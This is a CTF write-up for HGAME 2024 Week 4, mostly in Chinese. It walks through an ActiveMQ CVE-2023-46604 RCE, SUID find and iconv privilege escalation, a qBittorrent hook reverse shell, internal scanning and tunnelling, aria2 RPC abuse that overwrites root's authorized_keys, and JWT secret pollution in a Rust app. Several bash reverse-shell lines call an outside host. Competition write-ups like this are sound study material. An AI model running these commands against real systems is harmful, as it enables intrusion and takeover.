HGAME 2024 Writeup - Mantle - Week 4
原地址为https://vidar-team.feishu.cn/docx/ERcndA41voRtScxGiJ4cd55fn6e。
- URL: https://hgame.vidar.club/
- Username: csmantle (Individual participation)
- Start Time: 2024-02-21 20:00:00
- End Time: 2024-02-28 20:00:00
- Status: -2 Web; -1 Pwn; -2 Crypto
Web
Reverse and Escalation
The container takes time to start, please be patient.
CVE-2023-46604 RCE,Linux 5.10 提权。
https://github.com/rootsecdev/CVE-2023-46604
shell 一直死。Stageless HTTP Meterpreter 可以,但是很慢。(裸 bash reverse shell 也可以,是更好的选择,因为不需要很多复杂的功能,也不是 Windows 平台。)
meterpreter > sysinfo
Computer : 172.21.36.45
OS : Debian 11.4 (Linux 5.10.134-15.1.2.lifsea8.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > ps
Process List
============
PID PPID Name Arch User Path
--- ---- ---- ---- ---- ----
1 0 sudo x86_64 root
7 1 sh x86_64 activemq /bin/dash
38 7 java x86_64 activemq /usr/local/openjdk-11/bin/java
117 1 [aARnQjrHA] x86_64 activemq
131 1 ekpxNjrt x86_64 activemq /tmp/ekpxNjrt
138 131 sh x86_64 activemq /bin/dash
139 131 sh x86_64 activemq /bin/dash
143 131 sh x86_64 activemq /bin/dash
meterpreter >
不能使用 dirtypipez,build 号太高。
id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/bin/umount
/bin/su
/bin/mount
find 有 SUID,可提权。
/usr/bin/find . -exec /bin/sh -p \; -quit
id
uid=1000(activemq) gid=1000(activemq) euid=0(root) groups=1000(activemq)
cat /flag
hgame{ea6213017f2172917866d7f75a987b7cce391762}
hgame{ea6213017f2172917866d7f75a987b7cce391762}
请先完成前置题目[Reverse and Escalation.]
继续使用同一个 CVE 获得普通用户的 shell。
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > show options
Module options (exploit/multi/misc/apache_activemq_rce_cve_2023_46604):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 139.224.232.162 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basic
s/using-metasploit.html
RPORT 31380 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on th
e local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 11001 yes The local port to listen on.
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (generic/custom):
Name Current Setting Required Description
---- --------------- -------- -----------
PAYLOADFILE no The file to read the payload from
PAYLOADSTR bash -c "bash -i >& /dev/tcp/116.62.135.53/11000 0>&1" no The string to use as a payload
Exploit target:
Id Name
-- ----
1 Linux
View the full module info with the info, or info -d command.
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) > exploit
[*] 139.224.232.162:31380 - Running automatic check ("set AutoCheck false" to disable)
[+] 139.224.232.162:31380 - The target appears to be vulnerable. Apache ActiveMQ 5.17.3
[*] 139.224.232.162:31380 - Using URL: http://116.62.135.53:11001/WXd1yP
[*] 139.224.232.162:31380 - Sleeping for 2 seconds before attempting again
[*] 139.224.232.162:31380 - Sent ClassPathXmlApplicationContext configuration file.
[*] 139.224.232.162:31380 - Sent ClassPathXmlApplicationContext configuration file.
[*] 139.224.232.162:31380 - Sleeping for 4 seconds before attempting again
[*] 139.224.232.162:31380 - Sleeping for 8 seconds before attempting again
[*] 139.224.232.162:31380 - Final attempt. Sleeping for the remaining 16 seconds out of total timeout 30
[*] 139.224.232.162:31380 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/apache_activemq_rce_cve_2023_46604) >
PS D:\Workspace\rev\hgame_2024\week_4\rev_n_esc> ncat -lvp 11000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::11000
Ncat: Listening on 0.0.0.0:11000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:51323.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /root/.bashrc: Permission denied
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$ id
id
uid=1000(activemq) gid=1000(activemq) groups=1000(activemq)
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$
准备提权。看到个很有趣的 find。
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$ find /
find /
14654 + 12698 =
wrong answer!
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$
Base64 编码,拉到本地分析。
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$ base64 /usr/bin/find > /tmp/find.b64.txt
</activemq$ base64 /usr/bin/find > /tmp/find.b64.txt
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$ cat /tmp/find.b64.txt
cat /tmp/find.b64.txt
f0VMRgIBAQAAAAAAAAAAAAMAPgA...
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/opt/activemq$
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int seed; // eax
unsigned int xi; // eax
unsigned int b; // [rsp+20h] [rbp-10h]
unsigned int a; // [rsp+24h] [rbp-Ch]
int i; // [rsp+28h] [rbp-8h]
int count; // [rsp+2Ch] [rbp-4h]
seed = time(0LL);
srand(seed);
count = 0;
for ( i = 1; i < argc; ++i )
{
a = rand() % 23333;
b = rand() % 23333;
printf("%d + %d = \n", a, b);
if ( a + b != atoi(argv[i]) )
{
puts("wrong answer!");
return 1;
}
xi = atoi(argv[i]);
printf("%d correct!\n", xi);
if ( ++count > 38 )
{
setuid(0);
system("ls");
return 0;
}
}
return 0;
}
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc$ checksec ./find.elf
[*] '/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc/find.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc$
以当前时间为种子生成 38 个二元随机数对,判断 argv 中的每一项是否等于每个数对中分量的和,全部正确则以 SUID 权限运行 ls
。
尝试 hook 掉rand。 失败,ld 对 setuid 程序禁用了 LD_PRELOAD
。
尝试暴力。
// gen.c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
static const int64_t seed = 1708837450LL; // TODO: Change this
int main(void) {
srand((unsigned)seed);
for (int i = 0; i < 45; i++) {
int a = rand() % 23333;
int b = rand() % 23333;
printf("%d ", a + b);
}
putchar('\n');
return 0;
}
// print_time.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <stdint.h>
int main(void) {
printf("%jd\n", (intmax_t)time(NULL));
return 0;
}
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc$ gcc -Wall -Wextra -Wpedantic -static -Os -o gen ./gen.c
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc$ gcc -Wall -Wextra -Wpedantic -static -Os -o
print_time ./print_time.c
mantlebao@LAPTOP-RONG-BAO:/mnt/d/Workspace/rev/hgame_2024/week_4/rev_n_esc$
将二进制上传至/tmp,并在/tmp 下构造伪造的 ls 文件,加入 PATH。
先使用 gen 生成预测的伪随机数序列,再在恰当的时间点运行 find 就可以 getshell。
activemq@gamebox-41-158-cdd8b3e1f3d86b75:/tmp$ find 17372 33662 17990 31413 39708 24197 11001 10875 41494 18644 4684 37435 39099 22267 16938 20329 16998 32722 14120 34305 39038 27516 37763 34862 31636 25152 33417 31129 7754 30912 35154 28362 19914 9837 39901 33889 33000 20328 6820 10375 31390 28465 5137 28674 28027
<33000 20328 6820 10375 31390 28465 5137 28674 28027
find 17372 33662 17990 31413 39708 24197 11001 10875 41494 18644 4684 37435 39099 22267 16938 20329 16998 32722 14120 34305 39038 27516 37763 34862 31636 25152 33417 31129 7754 30912 35154 28362 19914 9837 39901 33889 33000 20328 6820 10375 31390 28465 5137 28674 28027
id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
cat /flag
hgame{89e12dc0a019805ee3c7d4a7c236a153643d62d8}
hgame{89e12dc0a019805ee3c7d4a7c236a153643d62d8}
Whose Home?
“这是谁的家?” “好像是个路由佬。” 这是一个以个人/家庭为背景的入门级渗透靶场,里面没有坑也没有什么难题,希望大家玩的开心。 一共有 2 个 flag。 Hint:
- 所有靶机都出网
- qb 后台能 rce,这是 qb 功能的一部分,翻 CVE 是翻不到的
- 跳板机上 172 开头网段的那张网卡是出网用的,扫那个段没用
qbittorrent,creds:admin/adminadmin。
设置在加入 torrent 时运行 hook 程序:
bash -c "bash -i >& /dev/tcp/116.62.135.53/11000 0>&1"
PS D:\Workspace\rev\hgame_2024\week_4\home> ncat -lvp 11000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::11000
Ncat: Listening on 0.0.0.0:11000
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:7655.
bash: cannot set terminal process group (431): Not a tty
bash: no job control in this shell
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ id
id
uid=911(abc) gid=911(abc) groups=911(abc),1000(users)
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ uname -a
uname -a
Linux gamebox-41-160-9338674d02250bd1-qbittorrent 5.10.134-16.1.al8.x86_64 #1 SMP Thu Dec 7 14:11:24 UTC 2023 x86_64 GNU/Linux
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ ll /
ll /
total 148
drwxr-xr-x 1 root root 4096 Feb 25 00:41 .
drwxr-xr-x 1 root root 4096 Feb 25 00:41 ..
drwxr-xr-x 1 abc abc 4096 Oct 21 13:28 app
drwxr-xr-x 1 root root 4096 Oct 21 13:28 bin
drwxr-xr-x 2 root root 12288 Oct 21 13:28 command
drwxr-xr-x 1 abc abc 4096 Feb 25 02:03 config
drwxr-xr-x 1 abc abc 4096 Oct 22 06:52 defaults
drwxr-xr-x 5 root root 360 Feb 25 00:41 dev
-rwxr--r-- 1 root root 18909 Jan 1 1970 docker-mods
drwxr-xr-x 1 root root 4096 Feb 25 00:41 etc
-r-------- 1 root root 48 Feb 25 00:41 flag
drwxr-xr-x 2 root root 4096 Oct 21 13:28 home
-rwxr-xr-x 1 root root 907 May 4 2023 init
drwxr-xr-x 1 root root 4096 Oct 22 06:53 lib
drwxr-xr-x 2 root root 4096 Oct 21 13:28 lsiopy
drwxr-xr-x 5 root root 4096 Oct 21 13:28 media
drwxr-xr-x 2 root root 4096 Oct 21 13:28 mnt
drwxr-xr-x 2 root root 4096 Oct 21 13:28 opt
drwxr-xr-x 6 root root 4096 Oct 21 13:28 package
dr-xr-xr-x 382 root root 0 Feb 25 00:41 proc
drwxr-xr-x 2 root root 12288 Oct 22 06:53 qbt
drwx------ 2 root root 4096 Oct 21 13:28 root
drwxr-xr-x 1 root root 4096 Feb 25 00:41 run
drwxr-xr-x 1 root root 4096 Oct 21 13:28 sbin
drwxr-xr-x 2 root root 4096 Oct 21 13:28 srv
dr-xr-xr-x 13 root root 0 Feb 25 00:41 sys
drwxrwxrwt 1 root root 4096 Feb 25 01:36 tmp
drwxr-xr-x 1 root root 4096 Oct 22 06:52 usr
drwxr-xr-x 1 root root 4096 Oct 21 13:28 var
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ find / -perm -u=s -type f 2>/dev/null | xargs ls -l
find / -perm -u=s -type f 2>/dev/null | xargs ls -l
-rwsr-xr-x 1 root root 37968 May 4 2023 /package/admin/s6-overlay-helpers-0.1.0.1/command/s6-overlay-suexec
-rwsr-xr-x 1 root root 84648 Oct 6 05:45 /usr/bin/chage
-rwsr-xr-x 1 root root 45936 Oct 6 05:45 /usr/bin/chfn
-rwsr-xr-x 1 root root 36176 Oct 6 05:45 /usr/bin/chsh
-rwsr-xr-x 1 root root 26824 Oct 6 05:45 /usr/bin/expiry
-rwsr-xr-x 1 root root 63584 Oct 6 05:45 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 24528 Oct 6 09:25 /usr/bin/iconv
-rwsr-xr-x 1 root root 88936 Oct 6 05:45 /usr/bin/passwd
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$
有一个带 SUID 的 iconv。
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ iconv -f ascii -t ascii /flag
iconv -f ascii -t ascii /flag
hgame{c1f1e3d66e62aa4db792300bd4655e6e552f253c}
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$
Flag 1: hgame{c1f1e3d66e62aa4db792300bd4655e6e552f253c}
然后进行后渗透。
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 00:16:3E:14:9E:33
inet addr:172.21.36.128 Bcast:172.21.39.255 Mask:255.255.252.0
inet6 addr: fe80::16:3e00:1f14:9e33/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:10764 errors:0 dropped:0 overruns:0 frame:0
TX packets:11362 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:21061379 (20.0 MiB) TX bytes:1206005 (1.1 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:63 errors:0 dropped:0 overruns:0 frame:0
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9132 (8.9 KiB) TX bytes:9132 (8.9 KiB)
net1 Link encap:Ethernet HWaddr CA:24:8E:ED:FB:7B
inet addr:100.64.43.3 Bcast:100.64.43.255 Mask:255.255.255.0
inet6 addr: fe80::c824:8eff:feed:fb7b/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:24830 errors:0 dropped:0 overruns:0 frame:0
TX packets:16682 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:4447287 (4.2 MiB) TX bytes:4300658 (4.1 MiB)
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$
gamebox-41-160-9338674d02250bd1-qbittorrent:/run/s6-rc:s6-rc-init:LFGbJP/servicedirs/svc-qbittorrent$ /tmp/fscan -nopoc -np -debug 5 -h 100.64.43.3/24
/tmp/fscan -nopoc -np -debug 5 -h 100.64.43.3/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
100.64.43.2:80 open
Open result.txt error, open result.txt: permission denied
100.64.43.4:22 open
Open result.txt error, open result.txt: permission denied
100.64.43.3:8080 open
Open result.txt error, open result.txt: permission denied
[*] alive ports len is: 3
将端口穿透出来。
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ ./fscan -nopoc -np -nobr -no -debug 5 -p 1-10000 -h 100.64.43.4
./fscan -nopoc -np -nobr -no -debug 5 -p 1-10000 -h 100.64.43.4
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
100.64.43.4:22 open
100.64.43.4:6800 open
[*] alive ports len is: 2
start vulscan
宸插畬鎴?2/2
[*] 鎵弿缁撴潫,鑰楁椂: 1.902790108s
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ curl -o rathole.zip https://hub.gitmirror.com/https://github.com/rapiz1/rathole/releases/download/v0.4.8/rathole-x86_64-unknown-linux-musl.zip
curl -o rathole.zip https://hub.gitmirror.com/https://github.com/rapiz1/rathole/releases/download/v0.4.8/rathole-x86_64-unknown-linux-musl.zip
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1948k 100 1948k 0 0 471k 0 0:00:04 0:00:04 --:--:-- 471k
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ unzip rathole.zip
unzip rathole.zip
Archive: rathole.zip
inflating: rathole
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ dir
dir
client_rev.toml fscan rathole rathole.zip
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ ll
ll
total 10036
drwxrwxrwt 1 root root 4096 Feb 26 13:22 .
drwxr-xr-x 1 root root 4096 Feb 26 13:05 ..
-rw-r--r-- 1 abc abc 471 Feb 26 13:19 client_rev.toml
-rwxr-xr-x 1 abc abc 6266348 Feb 26 13:09 fscan
-rwxr-xr-x 1 abc abc 1995508 Feb 26 13:22 rathole
-rw-r--r-- 1 abc abc 1994775 Feb 26 13:22 rathole.zip
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ ./rathole --version
./rathole --version
rathole
Build Timestamp: 2023-05-26T08:34:50.264730951Z
Build Version: 0.4.8
Commit SHA: Some("9727e15377d9430cd2d3b97f2292037048610209")
Commit Date: Some("2023-05-26T08:29:56Z")
Commit Branch: Some("detached HEAD")
cargo Target Triple: x86_64-unknown-linux-musl
cargo Profile: release
cargo Features: base64,client,default,hot_reload,noise,notify,server,snowstorm,tls,tokio_native_tls
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ ./rathole client_rev.toml &
./rathole client_rev.toml &
[1] 270
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$ j2024-02-26T13:23:07.375939Z INFO config_watcher{path="client_rev.toml"}: rathole::config_watcher: Start watching the config
2024-02-26T13:23:07.375984Z INFO handle{service=p11003}: rathole::client: Starting 8986503eb70950a601f3b6d0a2c8edca70767366905c43611812d3c0cac24439
2024-02-26T13:23:07.429740Z INFO handle{service=p11003}:run: rathole::client: Control channel established
obs
jobs
[1]+ Running ./rathole client_rev.toml &
gamebox-41-160-3cb4a9729f9976bc-qbittorrent:/tmp$
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_4\home> nmap -vvv -Pn -sS -sV -p 11003 116.62.135.53
Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-26 21:24 ?D1ú±ê×?ê±??
...
Nmap scan report for 116.62.135.53
Host is up, received user-set (0.010s latency).
Scanned at 2024-02-26 21:24:05 ?D1ú±ê×?ê±?? for 6s
PORT STATE SERVICE REASON VERSION
11003/tcp open http syn-ack ttl 52 aria2 downloader JSON-RPC
Read data files from: D:\Program Files (x86)\Nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.55 seconds
Raw packets sent: 1 (44B) | Rcvd: 1 (44B)
(pwnenv) PS D:\Workspace\rev\hgame_2024\week_4\home>
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/home/interact.py
{"id":null,"jsonrpc":"2.0","result":["aria2.addUri","aria2.addTorrent","aria2.getPeers","aria2.addMetalink","aria2.remove","aria2.pause","aria2.forcePause","aria2.pauseAll","aria2.forcePauseAll","aria2.unpause","aria2.unpauseAll","aria2.forceRemove","aria2.changePosition","aria2.tellStatus","aria2.getUris","aria2.getFiles","aria2.getServers","aria2.tellActive","aria2.tellWaiting","aria2.tellStopped","aria2.getOption","aria2.changeUri","aria2.changeOption","aria2.getGlobalOption","aria2.changeGlobalOption","aria2.purgeDownloadResult","aria2.removeDownloadResult","aria2.getVersion","aria2.getSessionInfo","aria2.shutdown","aria2.forceShutdown","aria2.getGlobalStat","aria2.saveSession","system.multicall","system.listMethods","system.listNotifications"]}
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/home/interact.py
{"id":null,"jsonrpc":"2.0","result":["aria2.onDownloadStart","aria2.onDownloadPause","aria2.onDownloadStop","aria2.onDownloadComplete","aria2.onDownloadError","aria2.onBtDownloadComplete"]}
从 QB 中寻找 secret token:
{
...
"mail_notification_username": "hgame",
"mail_notification_password": "Sh3hoVRqMQJAw9D",
...
}
找到正确的 token。
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/home/interact.py
{"id":null,"jsonrpc":"2.0","result":{"enabledFeatures":["Async DNS","BitTorrent","Firefox3 Cookie","GZip","HTTPS","Message Digest","Metalink","XML-RPC","SFTP"],"version":"1.36.0"}}
PS D:\Workspace\rev\hgame_2024\week_4>
从配置文件中可以看到用户为 root,由于开了 ssh 服务,所以覆盖 /root/.ssh/authorized_keys
为我们的公钥就可以直接 getshell。
import requests as req
from pwn import *
PKEY = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbddXZW+vgiRzQBEh3DeGWaeb2hY1L9tCNckLmPvvyE root@localhost"
resp = req.post(
"http://116.62.135.53:11003/jsonrpc",
json={
"jsonrpc": "2.0",
"id": None,
"method": "aria2.changeGlobalOption",
"params": [
"token:Sh3hoVRqMQJAw9D",
{
"allow-overwrite": "true",
},
],
},
)
info(resp.text)
resp = req.post(
"http://116.62.135.53:11003/jsonrpc",
json={
"jsonrpc": "2.0",
"id": None,
"method": "aria2.getGlobalOption",
"params": [
"token:Sh3hoVRqMQJAw9D",
],
},
)
info(resp.text)
resp = req.post(
"http://116.62.135.53:11003/jsonrpc",
json={
"jsonrpc": "2.0",
"id": None,
"method": "aria2.addUri",
"params": [
"token:Sh3hoVRqMQJAw9D",
["http://fwd.csmantle.top:11002/pubkey.txt"],
{"out": "authorized_keys", "dir": "/root/.ssh/"},
],
},
)
info(resp.text)
resp = req.post(
"http://116.62.135.53:11003/jsonrpc",
json={
"jsonrpc": "2.0",
"id": None,
"method": "aria2.getGlobalStat",
"params": [
"token:Sh3hoVRqMQJAw9D",
],
},
)
info(resp.text)
resp = req.post(
"http://116.62.135.53:11003/jsonrpc",
json={
"jsonrpc": "2.0",
"id": None,
"method": "aria2.tellStatus",
"params": ["token:Sh3hoVRqMQJAw9D", "9cedf246594fa158"],
},
)
info(resp.text)
PS D:\Workspace\rev\hgame_2024\week_4> & d:/Workspace/pwnenv/Scripts/python.exe d:/Workspace/rev/hgame_2024/week_4/home/interact.py
[*] {"id":null,"jsonrpc":"2.0","result":"OK"}
[*] {"id":null,"jsonrpc":"2.0","result":{...}}
[*] {"id":null,"jsonrpc":"2.0","result":"91fd4506560cd37e"}
[*] {"id":null,"jsonrpc":"2.0","result":{"downloadSpeed":"0","numActive":"0","numStopped":"4","numStoppedTotal":"4","numWaiting":"0","uploadSpeed":"0"}}
[*] {"id":null,"jsonrpc":"2.0","result":{"bitfield":"80","completedLength":"102","connections":"0","dir":"\/root\/.ssh\/","downloadSpeed":"0","errorCode":"0","errorMessage":"","files":[{"completedLength":"102","index":"1","length":"102","path":"\/root\/.ssh\/\/authorized_keys","selected":"true","uris":[{"status":"used","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"},{"status":"waiting","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"},{"status":"waiting","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"},{"status":"waiting","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"},{"status":"waiting","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"},{"status":"waiting","uri":"http:\/\/fwd.csmantle.top:11002\/pubkey.txt"}]}],"gid":"9cedf246594fa158","numPieces":"1","pieceLength":"1048576","status":"complete","totalLength":"102","uploadLength":"0","uploadSpeed":"0"}}
PS D:\Workspace\rev\hgame_2024\week_4>
PS D:\Workspace\rev\hgame_2024\week_4\home> ssh -p 11004 [email protected]
Welcome to Ubuntu Jammy Jellyfish (development branch) (GNU/Linux 5.10.134-16.1.al8.x86_64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Mon Feb 26 14:33:23 2024 from 100.64.43.3
root@gamebox-41-160-3cb4a9729f9976bc-aria2:~# cat /flag
hgame{a9534e6422f221b91086f95080331e7077dc63fc}
root@gamebox-41-160-3cb4a9729f9976bc-aria2:~# exit
logout
Connection to fwd.csmantle.top closed.
PS D:\Workspace\rev\hgame_2024\week_4\home>
hgame{a9534e6422f221b91086f95080331e7077dc63fc}
火箭大头兵
火箭大头兵 Liki4 去太空执行任务了,看看她临走前留下了什么?
Rust 代码审计,字典值污染,JWT forgery。
题目希望我们切换到用户 Liki4
并查看私密留言。
观察关键代码片段:
fn init_ctx() -> Map<String, Value> {
let mut <u>context</u> = Map::new();
<u>context</u>.<u>insert</u>(
String::from("_locale"),
Value::String(String::from("zh_CN")),
);
<u>context</u>.<u>insert</u>(
String::from("_title"),
Value::String(String::from("留言板")),
);
<u>context</u>.<u>insert</u>(String::from("_system_jwt_key"), Value::String(randstr(32)));
<u>context</u>
}
#[launch]
fn rocket() -> Rocket<Build> {
rocket::build()
.manage(EnvState {
env_map: Arc::new(Env::new()),
})
.manage(DbState {
db: Arc::new(Db::new()),
})
.manage(CtxState {
ctx: Mutex::new(init_ctx()),
})
.attach(Template::fairing())
.register("/", catchers![unauthorized, bad_request])
.mount(
"/",
routes![
...
],
)
}
假使我们能够覆写_system_jwt_key 为指定的值,我们就可以伪造 cookies 以切换至任意用户身份。
#[get("/profile")]
pub fn profile_page(
user_from_jwt: UserJwtClaim,
ctx_state: &State<CtxState>,
db_state: &State<DbState>,
) -> Template {
use ...;
let <u>connection</u> = ...;
let user_id = ...;
let bio: HashMap<String, Value> = ...;
let mut <u>ctx</u> = ctx_state.ctx.lock().unwrap();
for (key, value) in bio {
<u>ctx</u>.<u>insert</u>(format!("{}_{}", &user_from_jwt.username, key), value);
}
<u>ctx</u>.<u>insert</u>(
"_current_user".to_string(),
Value::String(user_from_jwt.username),
);
let c = <u>ctx</u>.clone();
<u>ctx</u>.<u>insert</u>("ctx".to_string(), Value::Object(c));
Template::render("profile", &*<u>ctx</u>)
}
用户的个人简介(bio
字段)为一个 JSON Object,在访问 /profile
时,服务器会将该对象的每个键增加用户名前缀,将变换后的键值对插入当前的 ctx
中。这里的关键在于,ctx
是一个 serde 定义的 Map<K, V>
对象,它的 insert
方法在遇到已有键时的行为(详见 https://docs.rs/serde_json/latest/serde_json/struct.Map.html#method.insert,与 std 的 HashMap<K, V, S>
相同)是更新相应的值。那么我们不难想到,假如我们的用户名为 "_system_jwt"
,当我们修改我们的个人简介为 { "key": "Hacked", ... }
时,ctx
中的键 "_system_jwt_key"
就会被更新为 "Hacked"
。同时,由于 ctx_state
是在应用全局托管的(见 https://api.rocket.rs/v0.5/rocket/struct.Rocket.html#method.manage),对 ctx
的修改会影响到所有后续的访问。那么我们就可以直接用可控的 JWT 伪造身份。
#[derive(Debug, Serialize, Deserialize)]
pub struct UserJwtClaim {
pub id: i64,
pub username: String,
pub exp: u64,
}
#[get("/message")]
pub fn message_page(
user_from_jwt: UserJwtClaim,
ctx_state: &State<CtxState>,
db_state: &State<DbState>,
) -> Template {
use ...;
let <u>connection</u> = ...;
let user_id = user_dsl::users
.filter(user_dsl::id.eq(&user_from_jwt.id))
.filter(user_dsl::username.eq(&user_from_jwt.username))
.select(user_dsl::id)
.first::<i64>(<u>connection</u>)
.unwrap();
let result: Vec<Message> = ...;
let mut <u>msgs</u>: Vec<Value> = Vec::new();
for each in result {
let mut <u>map</u> = Map::new();
<u>map</u>.<u>insert</u>(...);
<u>msgs</u>.<u>push</u>(Value::Object(<u>map</u>));
}
let mut <u>ctx</u> = ctx_state.ctx.lock().unwrap();
<u>ctx</u>.<u>insert</u>(...);
Template::render("messages", &*<u>ctx</u>)
}
仅仅伪造签名并不够,因为当且仅当 JWT 中的字段 id
和 username
对应时,这个 JWT 才有意义。为了找到 Liki4
的 ID(的大致范围),我们创建一个新用户以确定其上界。
{
"id": 1732,
"username": "test",
"exp": 1708868982
}
那么我们假设 Liki4
的 ID 在 0-3000 之间。
我们先注册目标用户,再写入相应键值以覆盖目标 key 为 "a"
。
然后编写程序生成用 "a"
签名的、所有待尝试的 ID-用户名组合的 JWT:
#[post("/login", format = "json", data = "<login_body>")]
pub fn user_login_post(
login_body: Json<LoginBody>,
env_state: &State<EnvState>,
db_state: &State<DbState>,
ctx_state: &State<CtxState>,
cookies: &CookieJar<'_>,
) -> Result<Json<ReturnPack<String>>> {
...
let jwt = Jwt::new(&"a".to_string());
